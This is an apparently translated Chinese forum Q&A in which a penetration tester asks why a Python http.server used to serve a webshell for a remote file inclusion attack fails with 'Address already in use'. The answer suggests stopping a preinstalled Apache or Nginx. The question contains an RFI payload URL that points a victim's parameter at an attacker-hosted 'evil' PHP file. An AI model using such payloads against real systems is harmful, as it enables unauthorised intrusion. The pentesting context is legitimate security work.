0

我正在做一个渗透测试,我正在开发一台需要通过远程文件包含漏洞获得访问权限的机器。过去,我可以通过在我的机器上包含恶意文件来获取 webshel​​l。我使用 python http.server 模块(sudo python3 -m http.server 80)这样做了,这工作得很好。但是,在第一次成功执行此操作后,我尝试再次运行此命令,每次运行时都会出现以下错误:

File "/usr/lib/python3.7/runpy.py", line 193, in _run_module_as_main
"__main__", mod_spec)
File "/usr/lib/python3.7/runpy.py", line 85, in _run_code
exec(code, run_globals)
File "/usr/lib/python3.7/http/server.py", line 1262, in <module>
test(HandlerClass=handler_class, port=args.port, bind=args.bind)
File "/usr/lib/python3.7/http/server.py", line 1230, in test
with ServerClass(server_address, HandlerClass) as httpd:
File "/usr/lib/python3.7/socketserver.py", line 452, in __init__
self.server_bind()
File "/usr/lib/python3.7/http/server.py", line 137, in server_bind
socketserver.TCPServer.server_bind(self)
File "/usr/lib/python3.7/socketserver.py", line 466, in server_bind
self.socket.bind(self.server_address)
OSError: [Errno 98] Address already in use

似乎告诉我某些东西已经在使用端口 80 但是当我关闭网络浏览器时,使用 lsof -i :80 检查,即使重新启动我的机器它仍然无法正常工作。我还尝试通过不同的端口(http://VICTIMIP/path/to/file.php?vuln_param=http://MYIP:4444/path/to/evil/file.php)包含文件,但这没有不行。任何人都可以就如何前进提供任何建议吗?关于为什么 http-server 永远不能在端口 80 上工作,或者为什么 RFI 只能在端口 80 上工作?在这一点上,我真的想不出还有什么可以尝试的。

4

1 回答 1

0

我猜你正在使用 Kali Linux 或类似的东西。它包含预先安装的 apache/nginx,因此在使用 python http 服务器之前尝试以下操作:

systemctl stop nginx
systemctl stop apache

(需要根)

端口显然正在使用中,因此如果安装了 nginx 或 apache,它会有所帮助。

于 2020-03-31T09:32:57.207 回答